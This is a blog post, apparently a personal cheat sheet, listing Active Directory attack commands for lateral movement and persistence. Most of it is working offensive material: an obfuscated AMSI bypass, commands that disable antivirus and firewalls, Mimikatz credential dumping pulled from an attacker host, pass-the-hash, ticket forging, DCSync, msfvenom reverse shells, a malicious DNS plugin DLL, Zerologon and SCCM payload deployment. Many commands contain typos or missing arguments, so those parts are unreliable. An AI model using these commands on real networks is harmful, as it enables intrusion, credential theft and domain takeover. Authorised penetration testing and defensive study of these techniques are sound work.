Active Directory PenTest Cheat Sheet - Lateral Movement & Persistence Techniques

Hello Readers, Welcome to Hacking Dream. Today' post is on Active directory Penetration testing, this is a continuation of ACTIVE DIRECTORY PENETRATION TESTING CHEAT SHEET - RECON & INITIAL ACCESS and this post covers most of the important lateral movement and persistence techniques required while Penetration testing an enterprise active directory network. This is just my AD techniques and commands cheat sheet which I tested personally – below commands might not work in all the cases, it might require some pre-requisites.

Use the commands at your own Risk - I would suggest not to test these techniques in Production Environment. 




Bypassing JEA

#View all the commands that we have access to
get-command *

#View the source code of the Commands/cmdlets
Get-Command -ShowCommandInfo -Name CmdLet_NAME Get-Command -ShowCommandInfo -Name Get-ChildItem

#using SharpMapExec to bypass JEA or find interesting items
|.\SharpMapExec.exe ntlm winrm /user:USERNAME/password:"p@ssw0RD!" /domain:steins.local /computername:

Note: ExpandString & Invoke-Expression might be vulnerable to command execution

#Examples of Bypasing JEA
get-something -command 'Hello $([void] (Get-Item C:\))'
get-something -command '$(""; ipconfig)'

#If Full language mode is enabled

function test() {whoami};test

#Bypassing JEA if start-Process is accessible
Enter-PSSession -ComputerName <Name> -ConfigurationName <Name>
Start-Process cmd.exe revshell.exe
Powershell Remote Access 

Enable-PSRemoting #uses TCP - Port 5985, 5986 for SSL.

#Start a PS Session
Enter-PSSession -ComputerName kurisu.steins.local

#after logging into the session, store the process

#To login to the previous session,

#Start a new session & saves the session
$sess = New-PSSession -ComputerName kurisu.steins.local

#check the session

#login to the prev session; as long as we do not kill it

Enter-PSSession -Session $sess


$SecPassword = ConvertTo-SecureString 'PASSWORD@!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('Steins.local\Bhanu_Admin', $SecPassword)

$s = New-PSSession -Credential $Cred
Enter-PSSession -Session $s

#login with the connection URL
Enter-PSSession -ConnectionUri -Credential $cred

#Add a machine to TrustedHosts
net start winrm
Set-Item WSMan:\localhost\Client\TrustedHosts -Value ""

#logging into a server

Set-Item WSMan:\localhost\Client\TrustedHosts -Value ""
$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('steins.local\USER', $SecPassword)
$sess=New-PSSession -ComputerName -Credential $Cred -Authentication Negotiate
Enter-PSSession -Session $sess

#Copying files to a logged in session using powershell
Copy-Item -ToSession $Sess -path C:\mimikatz.exe -Destination c:\temp
One-to-Many - PSSession:
- Executes commands parallely
- non-interactive
- Invoke-Command #cmdlet used to implent one to many
- can run scripts
- can use -Credential parameter to pass alternate creds

#Execute Scripts on a different machine:

Invoke-Command -ComputerName CruelSun -ScriptBlock{whoami;hostnane}

#Execute Scripts on a list of severs
Invoke-Command -ComputerName (Get-Content servers.txt) -ScriptBlock{whoami;hostnane}

#Run a file/command from a specific location
Invoke-Command -ComputerName CruelSun -Filepath C:\downloads\powerup.ps1

#If powershell is running in constraint language mode, we cannot run some cmdlets,etc..cannot use .Net classes as well. if the server is running with constrained lang mode, we cannot run .net classes and some other suspicious functions

#if you are unable to run the script - check the language:
Invoke-Command -ComputerName (Get-Content servers.txt) -ScriptBlock{$ExecutionContext.SessionState.LanguageMode}

#Run local function on a remote machine:
Invoke-Command -ComputerName CruelSun -ScriptBlock ${function:Get-ADTrust -Identity steins.local}

Invoke-Command -Filepath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content servers.txt)

Invoke-Command -ComputerName CruelSun -ScriptBlock ${function:Get-PassHashes} - ComputerName (Get-Content servers.txt )

#Run local script on a session:
#Run powerview.ps1 into the memory of the session
Invoke-Command -Filepath C:\downloads\powerup.ps1 -Session $sess

#powerup.ps1 functions will be loaded on the target session, so, we can run it directly

Enter-PSSession -Session $sess

Execute Stateful commands using Invoke-Command:

$sess = New-PSSession -ComputerName CruelSun
Invoke-Command -Session $sess -ScriptBlock {$Proc = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$Proc.Name}
Disable AV on a Target Machine and upload a file 

#Create a session
$sess = New-PSsession -ComputerName Server1

#Disable AV and Firewall
Invoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sess
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-Command -ScriptBlock{netsh advfirewall set allprofiles state off} -Session $sess

#upload a file
Invoke-Command -Sessoion $sess -FilePath C:\Invoke-Mimikatz.ps1 

#login to the session

Enter-PSsession $sess

#Bypass AMSI
SET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Converting Plain Text into RC4/NTLM hash

>>> import hashlib
>>> print('md4', 'Password123'.encode('utf-16le')).hexdigest())
OverPass The Hash 

sekurlsa::pth /user:USERNAME /domain:steins.local /rc4:58a478135a93ac3bf058a5e354fdb71 /run:powershell.exe

#Run commands as the user that used for PTH

Invoke-Command -ComputerName Server1.steins.local -ScriptBlock{whoami; whoami /groups; hostname}

#Create a session
$sess = New-PSsession -ComputerName Server1

#Disable AV and Firewall
Invoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sess
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-Command -ScriptBlock{netsh advfirewall set allprofiles state off} -Session $sess

#login to the session
Enter-PSsession $sess

#Dump Creds from the target machine
IEX(New-Object Net.WebClient).downloadString('http://KALI_IP:8000/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;
Pass the Ticket


#Tickets are exported to present working directory
#Download all the tickets
sekurlsa::tickets /export
kerberos::ptt ticket.kerbi


invoke-module .\Invoke-Mimikatz.ps1
invoke-mimikatz -Command '"Mimikatz::debug" "sekurlsa:;tickets /export" "exit"'
invoke-mimikatz -Command '"Mimikatz::debug" "kerberos::ptt ticket.kerbi" "exit"'

#list the available tickets


#Triage the available tickets
.\Rubeus.exe triage

#display all the available tickets, copy the base64 ticket and remove all spaces and save it as .kirbo file. it can be used to ptt
.\Rubeus.exe dump

#pass a ticket
.\Rubeus.exe ptt /ticket:BASE64_KERBEROS_TICKET.kirbi


.\Rubeus.exe kerberoast /domain:steins.local /user:User1 /format:hashcat /outfile:hash.txt

Rubeus.exe asktgt /user:server$ /enctype:RC4 /rc4:da71cba0f3b7a64d4318bd52c5ed4237 /domain:steins.local /dc:dc.steins.local /ptt

#Impersonate as a user

Rubeus.exe s4u /ticket:srv1_tgt /impersonateuser:Administrator /outfile:TGS_administrator

#Create TGS and import into memory
Rubeus.exe s4u /impersonateuser:administrator /self /ptt /dc:dc.steins.local /ticket:srv_tgt /altservice:cifs/srv.steins.local /domain:steins.local


#Dump Credentials on a local machine using Mimikatz
Invoke-Mimikatz -DumpCreds

#Dump creds of a target machine/ DC creds:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName steinsDC.steins.local

#Dump Creds on Multiple Remote Machines:
Invoke-Mimikatz -DumpCreds -ComputerName @("ststem1.steins.local","system2.steins.local")

#Over Pass the hash - Generate Tokens from Hashes: Writing to lsass.exe
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Administrator /domain:steins.local /ntlm:<NTLM_HASH> /run:powershell.exe"'

sekurlsa::pth /user:Username /domain:steins.local /rc4:97179aeefd6f3a6d329c37184fc639af
Abusing PrinterBug

#find machines with unconstrained Delegation enabled
Get-ADComputer -Filter {TrustedForDelegation -ewq $True}

#Compromise and login to the machine with unconstrained Delegation enabled
Invoke-Mimikatz -Command '"sekurlsa::pth /user:USERNAME /domain:steins.local /rc4:58a478135a93ac3bf058a5e354fdb71 /run:powershell.exe"'

#Run SampleSpool.exe on the unconstrianed degelation enabled machine



proxychains python3 steins.local/guest@ KALI_IP -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0'

sudo proxychains -t smb:// -smb2support
#Relay attacks - Capturing SMB hashes 

Import-Module .\Inveigh.ps1

#Start collecting hashes, we will see hashes whenever a user tries to access something non-existant via SMB
Invoke-Inveigh -ConsoleOutput Y

#cracking the hashes captured from inveigh
hashcat -m 5600 hash rockyou.txt --force -r /usr/share/hashcat/rules/d3ad0ne.rule
Abusing ADIDNS 

Import-module .\Invoke-DNSUpdate.ps1
Powershell Invoke-DNSupdate -DNSType A -DNSName test -DNSData -Verbose

Import-module .\Powermad.ps1
PowerShell New-ADIDNSNode -Node * -Tombstone -Verbose
Powershell Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose

#Capture all the users hashes
Import-module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -adidns combo
Invoke-Inveigh -ConsoleOutput Y -DNS Y

#Relaying the hashes for command execution
Import-module .\InveighRelay.ps1
invoke-inveighrelay -ConsoleOutput Y -Target -ShowHelp N -StatusOutput N -Command "powershell.exe -c iex(new-object'')"
DCSync Attack 

- Usually Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default

Import-Module ./Powerview.ps1

#Select the domain to attack

#Get the object ACL matching ObjectAceType = DS-Replication for the pentesting.local forest & check if any of the user to whom we have acess to has dcsync privs
Get-ObjectACL "DC=steins,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -like 'DS-Replication*')

#Run Mimikatz as Domain Admin and run below command
lsadump::dcsync /domain:steins.local /all /csv


Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt"'

#use DCSync feature to get krbtgt hash from any machine(Need DA privs):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN_NAME\krbtgt"'

#Downloading DC Hashes without logging as Domain Admin: this command should be run as admin, modifying ac
Set-ADACL -DistinguishedName 'DC=steins,DC=steins,DC=local' -Principal USERNAME -GUIDRight DCSync -Verbose

# Running as a low priv user
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins\krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins\Administrator"'

Exploiting WriteDacl - DCSync

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync

Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain

lsadump::dcsync /domain:testlab.local /user:Administrator

or username:password@

aclpwn -f username -t steins.local --domain steins.local --server
Change User's Password in AD

$UserName = "VICTIM_Username"
$UserPassword = ConvertTo-SecureString 'P@$$W0rd' -AsPlainText -Force
$Domain = "DOMAIN_name"

$SecPassword = ConvertTo-SecureString 'ADMIN_PASSWORD' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('Domain\Admin_Username', $SecPassword)

$ContextArguments = @{ 'Identity' = $UserName }
$ContextArguments['Domain'] = $Domain
$ContextArguments['Credential'] = $Cred
$Context = Get-PrincipalContext @ContextArguments

$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $UserName)
if ($User) {
Write-Verbose "Found user '$UserName'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $UserPassword)
$User.Enabled = $True
$Null = $User.Save()
Write-Verbose "Password for user '$UserName' successfully reset"
catch {
Write-Warning "Error setting password for user '$UserName' : $_"
else {
Write-Warning "Unable to find user '$UserName'"
Un-Constrained Delegation

Ignore Domain controllers as in the unconstrained delegation enabled machines

#Find systems with UnConstrained Delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Get-NetComputer -UnConstrained

#Get the hashes of the Unconstrained_user to login as the user.

#start powershell cmd
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Unconstrained_user /domain:steins.local /ntlm:<NTLM_HASH> /run:powershell.exe"'

#check if this user has local admin access on any machine

#Login to the machine on which unconstrained-account has local admin access

$sess = New-PSSession -ComputerName unconstained_machine.steins.local

#Bypass AMSI
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

#Run Mimikatz on the target
Invoke-Command -FilePath C:\downloads\Invoke-Mimikatz.ps1 -Session $sess

#Downloads all the tickets from the lsass and saves them on the disk
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#use the downloaded ticket and dump it into the memory to access other stuff
Invoke-Mimikatz -Command '"kerberos::ppt" KIRBI_TICKET_Path'
Resource Based Constrained Delegation - Lateral Movement

#Import Powermad powershell module
Import-Module .\Powermad.psd1

#adding a machine object, normal domain user can add upto 10 machines to the domain by default.
New-MachineAccount -Domain steins.local -DomainController -MachineAccount might$ -Password (ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force) -Verbose

#find a machine to which we have write permission using ACL Scanner/bloodhound

#Adding a role based constrained delegation on Server1. if we have write permission to 'might' machine account, we can access Sever1 as any user in the domain
Set-ADComputer Server1 -PrincipalsAllowedToDelegateToAccount might -Verbose

#view the permission that we set now
Get-ADComputer server -Server Server1.steins.local -Properties name,msDS-AllowedToActOnBehalfOfOtherIdentity,Principalsallowedtodelegatetoaccount,msds-allowedtodelegateto,trustedtoauthfordelegation

#Inject the ticket
.\Rubeus.exe s4u /user:might$ /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /domain:steins.local /msdsspn:cifs/server1.steins.local /impersonateuser:Administrator /dc:dc.steins.local /ptt

#access the target machine
Enter-PSSession -ComputerName server1.steins.local

RBCD Persistance

-If we have DA permissions, we can use the RACE toolkit ( ) to modify permissions of a computer object and use it later

#Sets RBCS on Server1 - and assign write permissions to server1 using the UserName
Set-DCPermissions -Method RBCD -DistinguishedName 'CN=server1,DC=steins,DC=local' -SAMAccountName USERNAME Verbose

#run on attaker machine to allow delegation for 'attacker' machine account
Set-ADComputer -Identify Server1 -PrincipalsAllowedToDelegateToAccount might$ -Verbose

#Inject the ticket
.\Rubeus.exe s4u /user:might$ /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /domain:steins.local /msdsspn:cifs/server1.steins.local /impersonateuser:Administrator /dc:dc.steins.local /ptt

Resource Based Constrained Delegation on MSSQL Server 

#Add a DNS Record using
Invoke-DNSUpdate -DNSType A -DNSName might -DNSData KALI_IP -Realm Steins.local

#Login to the MSSQL Server and run xpdritree on the dnsname u just created
SQLCMD -S SERVER04\RE7_MS -Q "exec master.dbo.xp_dirtree '\\might@80\a'" -U Admin -P Admin
#on your Kali box, run
msDS-AllowedToActOnBehalfOfOtherIdentity is added to object SQL_server4$ for object USER
sudo proxychains python steins.local SQL_server4$ USER

#View the privileges of the user Get-ADComputer server -Server steins.local -Properties name,msDS-AllowedToActOnBehalfOfOtherIdentity,Principalsallowedtodelegatetoaccount,msds-allowedtodelegateto,trustedtoauthfordelegation #Get TGT and gain access to the server
proxychains python3 ./ -dc-ip -spn cifs/server.steibslocal -impersonate sql_admin steins.local/sql_user:Password@123

export KRB5CCNAME=sql_admin.ccache;sudo proxychains user/steinslocal@ -k -no-pass -dc-ip -target-ip


.\Rubeus.exe s4u /user:sql_user /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /domain:steins.local /msdsspn:cifs/server.steins.local /impersonateuser:sql_admin /dc:dc.steins.local /ptt

dir \\server.steins.local\c$

psexec \\server.steins.local cmd.exe
Abusing UN-Constrained Delegation using SpoolSample

Delegation explained Here - Go through this

#Find un-constrained delagaion=true machines using Powerview
Get-NetComputer -UnConstrained    
Get-DomainComputer -UnConstrained  

#Find systems with UnConstrained Delegation using AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

#Download SpoolSample and compile it and upload it on the server which has delegation=true
SpoolSample.exe TARGET_Server Delegation_enabled_server
Ex: SpoolSample.exe dc.steins.local delegated1.steins.local

#Run rubeus as System on an Interactive window, right after you run spoolsample.exe you should see the target Server's TGT
#use psexec to run as NT Authority/System

Psexec -s -d -i cmd.exe
Rubeus.exe monitor /interval:1

Note: if you are not seeing the target TGT on the rubeus even after many attemps, create a TGT for the server you have access to and try the target server again.
#Optional - generate a TGT for a server
Rubeus.exe asktgt /user:server1$ /enctype:RC4 /rc4:da71cba0f3b7a64d4318bd52c5ed4237 /domain:steins.local /dc:dc.steins.local /ptt

#Here you have lot of options, generate a TGS for yourself as you got the target's TGT. this can be done using rubeus.
#Copy paste the TGT, remove spaces and decode the base64 TGT and save it into a file.

#Generate a TGS into a file and import it later into memory
Rubeus.exe s4u /ticket:srv1_tgt /impersonateuser:Administrator /outfile:TGS_administrator /domain:steins.local /dc:dc.steins.local

#Importing into memory
Rubeus.exe ptt /ticket:TGS_TICKET
#Create a TGS for file system and import it directly into memory
Rubeus.exe s4u /impersonateuser:administrator /self /ptt /dc:dc.steins.local /ticket:srv1_tgt /altservice:cifs/sever1.steins.local /domain:steins.local

dir \\sever1.steins.local\C$

#gaining a shell
Rubeus.exe s4u /impersonateuser:administrator /self /ptt /dc:dc.steins.local /ticket:srv1_tgt /altservice:HOST/sever1.steins.local /domain:steins.local

psexec.exe \\sever1.steins.local cmd.exe 
un-Constrained Delegation Rubeus cheatsheet

#List un-Constrained Delegation enabled users - PowerView

Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

#List un-Constrained Delegation enabled Computers -
Get-DomainComputer -Unconstrained

#Obtain a TGT for the Constained allowed user
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi

#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local 
Constrained Delegation

#find Constrained Delegation enabled. Using PowerView(dev)
Get-DomainUser -TrusedToAuth
Get -DomainComputer -TrusedToAuth

#find Constrained Delegation enabled using Active Directry Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

#Gain access to the constrained delegation enabled box and get TGT, fill will be saved to disk
kekeo# tgt::ask /user:websvc /domain:steins.local /rc4:NTLM_HASH

#using s4u from Kekeo, We request a TGS and it's saved in the file
#service : services with permissions can only be accessed, see where what can access using admodule/powerview;
tgs::s4u /tgt:Tgt_TICKET_PATH.kirbi /user:Administrator@steins.local /service:cifs/server2.steins.local


tgs::s4u /tgt:Tgt_TICKET_PATH.kirbi /user:Administrator@steins.local /service:cifs/server2.steins.local|ldap/dc.steins.local

#Inject the TGS and gain a shell
Invoke-Mimikatz -command '"kerberos::ptt TGS_PATH.kirbi"'


#using s4u from Kekeo_one (no SNAME validation)
#Here we have accesds to not just the service that we have access to but all the service that uses the same machines account as there is no validation. this way we can run attack like dcsync without domain admin privileges

#Gain access to the constrained delegation enabled box and get TGT, fill will be saved to disk
kekeo# tgt::ask /user:steins-adminsrv.steins.local /domain:steins.local /rc4:NTLM_HASH

#Get TGS by using the TGT
tgs::s4u /tgt:TGT_TICKET_PATH.kirbi /user:Administrator@steins.local /service:time/steins.local | ldap/steins.local

#Inject the TGS and gain a shell, now we should have access to ldap as administrator

Invoke-Mimikatz -command '"kerberos::ptt TGS_PATH.kirbi"'

#Run DCSync attack
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt"'
Abusing ACL - Generic All 

Import-Module ./PowerView.ps1

#Find a group with GenericAll Rights & check if we have access to to any of the group via ACL.
Get-DomainGroup -SamAccountName * | ? {($_.ActiveDirectoryRights -match 'GenericAll')}

#View the ACL's of the group
Get-ObjectAcl -ResolveGUIDs | ? {($_.objectdn -eq "CN=Domian Admins,DC=steins,DC=local") -and ($_.ActiveDirectoryRights -match 'GenericAll')}

#if your account has GenericAll Access to the group, we can add ourselves to the group
Add-DomainGroupMember -Identity 'Domain Admins' -Members UserName

#View if you are a part of the group
Get-DomainGroupMember -SamAccountName 'Domain Admins'
Abusing Generic Write on user

#find a user on whom we have generic write acess and add a script block (which contains a rev shell) to the user account. som when the user logins - we get rev shell

#Enumerate to find all objects with GenericWrite
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericWrite')}

#Create a rev shell
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST= LPORT=9001 -f exe > revshell.exe

#Copy the rev shell on a SMB share which is accessible to the target machine.

#Set the script path to the user
Set-DomainObject -Identity UserName -Set @{'scriptpath'='\\share\revshell.exe'} -Verbose

#start a listner, when the user logs in we get a rev shell as the user.
rlwrap nc.exe -nvlp 9001
Generic Write - Constrained delegation attack

powershell.exe -ep bypass

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

import-module ./PowerView.ps1
import-module ./Powermad.ps1

New-MachineAccount -MachineAccount mighty -Password $(ConvertTo-SecureString 'Password@1234' -AsPlainText -Force) -Verbose

#if you do not have shell as the user -run below 2 commands and add -Credential $Cred along with the command whereever you need to elevate using these creds

$SecPassword = ConvertTo-SecureString 'PASSWORD@123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('steins.local\bhanu', $SecPassword)

$ComputerSid = Get-DomainComputer mighty -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer Steins-DC.steins.local | Set-DomainObject -Credential $Cred -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -verbose

./Rubeus.exe hash /password:'Password@1234' /user:mighty /domain:roundsoft.local

./Rubeus.exe s4u /user:mighty$ /rc4:A0989207854B684F07B5B6FE68169A35 /impersonateuser:TARGET_User /msdsspn:cifs/Steins-DC /ptt


dir \\steins-dc\c$ #check if it lists the directory

psexec.exe \\steins-dc cmd.exe

#Create a meterpreter shell using HackTheWorld and upload it to dc

certutil -f -split -urlcache

migrate the session to NT Authority System download hives

reg save HKLM\SYSTEM C:\system
reg save HKLM\SAM C:\sam

or use the below automated script

Generic Write -Constrained delegation attack

powershell.exe -ep bypass

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

Import-Module .\PowerView.ps1
Import-Module .\Powermad.ps1
function exploit ($Machine){
New-MachineAccount -MachineAccount $Machine -Password $(ConvertTo-SecureString 'Password@1234' -AsPlainText -Force) -Verbose
$ComputerSid = Get-DomainComputer $Machine -Properties objectsid | Select -Expand objectsid
Write-Output "[+] SID: $ComputerSid"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer STEINS-DC -SearchBase "LDAP://DC=steins,DC=local" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=steins,DC=local" -verbose
$RawBytes = Get-DomainComputer STEINS-DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
Write-Output "[+] Done!"

#save the script as mysrc.ps1

. .\mysrc.ps1
exploit mighty

./Rubeus.exe hash /password:'Password@1234' /user:mighty /domain:roundsoft.local

./Rubeus.exe s4u /user:mighty$ /rc4:A0989207854B684F07B5B6FE68169A35 /impersonateuser:TARGET_User /msdsspn:cifs/Steins-DC /ptt
DNSAdmins Group to DC 

- This attack works only if you are part of the default DNSAdmins Group.

DLL entry is stored at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ - ServiceLevelPlugindll; Delete the entry after you are done with the attack

#Create a Reverse shell DLL msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -f dll -o rev.dll

#Start SMB Server
sudo shell .

#on Target who is a part of DNSAdmins Group
dnscmd.exe /config /serverlevelplugindll \\\shell\rev.dll

dnscmd.exe dc.steins.local /config /serverlevelplugindll \\\shell\rev.dll

#Restart DNS service

sc.exe \\HOSTNAME stop dns
sc.exe \\HOSTNAME start dns

#Start a netcat Lister
nc -nvlp 443
Exploting Knock & Pass Kerbeoros MS14-068

apt-get install krb5-user cifs-utils rdate

#add DCIP to /etc/hosts dc.steins.local dc

# Add the target as a namesever in /etc/resolv.conf


#take a backup of /etc/krb5.conf and replace it with below - Case Sensitive
default_realm = HTB.LOCAL

kdc = mantis.htb.local:88
admin_serve = mantis.htb.local
default_domain = HTB.LOCAL
.domain.internal = HTB.LOCAL
domain.internal = HTB.LOCAL

#Generate a kerberos ticket
kinit james

#View the ticket


#Lets generate a Golden Ticket -dc-ip -target-ip steins.local/username@dc.steins.local
Abusing ZeroLogin CVE-2020-1472 


#check if the dc is vulnerable or not
lsadump::zerologon  /taret::dc.steins.local /account:dc$

#Exploiting the vuln; password is removed for DC.
lsadump::zerologon  /taret::dc.steins.local /account:dc$ /exploit

#we can run dcsync attack to get the hash now. if we can get krbtgt hash - golden ticket and silver ticket attacks are possible
lsadump::dcsync /dc:dc.steins.local /authuser:dc$ /authdomain:anything.local /authpassword:"" /authntlm /user:krbtgt

Exploiting SCCM Server  

Download and Import PowerSCCM.ps1 and add the below line to use custom payload without any encoding
$LaunchCMD = "powershell.exe iex(invoke-webrequest('') -UseBasicParsing)"

#Find SCCM Sitecode and Server Hostname
PowerShell Find-LocalSccmInfo

#Connect to SCCM Server, creating a session
PowerShell New-SccmSession -ComputerName SCCM.steins.local -SiteCode BA1 -ConnectionType WMI

#View connected SCCM Agents

Get-SCCMSession | Get-SccmComputer

#List All Applications
Get-SCCMSession | Get-SCCMApplication

#If you have multiple targets, create a collection and push the payload/exploit to the target at once

Get-SCCMSession | New-SCCMCollection -CollectionName "targets" -CollectionType "Device"

#View All collections
Get-SCCMSession | Get-SCCMCollection | Select Name

#Add a server to our new collection

Get-SCCMSession |Add-SccmDeviceToCollection -ComputerNameToAdd "Vuln_server1" -CollectionName "targets"

#Create a new application with any payload as our manual payload will execute eitherway.
 Get-SCCMSession | New-SccmApplication -ApplicationName "shit" -Powershellunicodeb64 "Any_BASE64_Content"

#Create a Deployment and add it to our collection
Get-SCCMSession | New-SCCMApplicationDeployment -ApplicationName "shit" -AssignmentName "update" -CollectionName "targets"

#Force the clients to take the package
Get-SCCMSession |Invoke-SCCMDeviceCheckin -CollectionName "targets"
Exploiting ADFS_Server - Golden SAML Attack

#Suppose if you have adfs_server credentials - follow th below steps. Get ADFSDump from here

#Collect all the required info from ADFSDump - certs, tokens,endpoint details

copy the Encrypted Token Signing Key Begin, decode it from base64 as save it blob (example below)

Download the private key and decode it
└─$ cat key

└─$ cat key| xxd -r -p > key.bin

Download ADFSpoof and run it as below
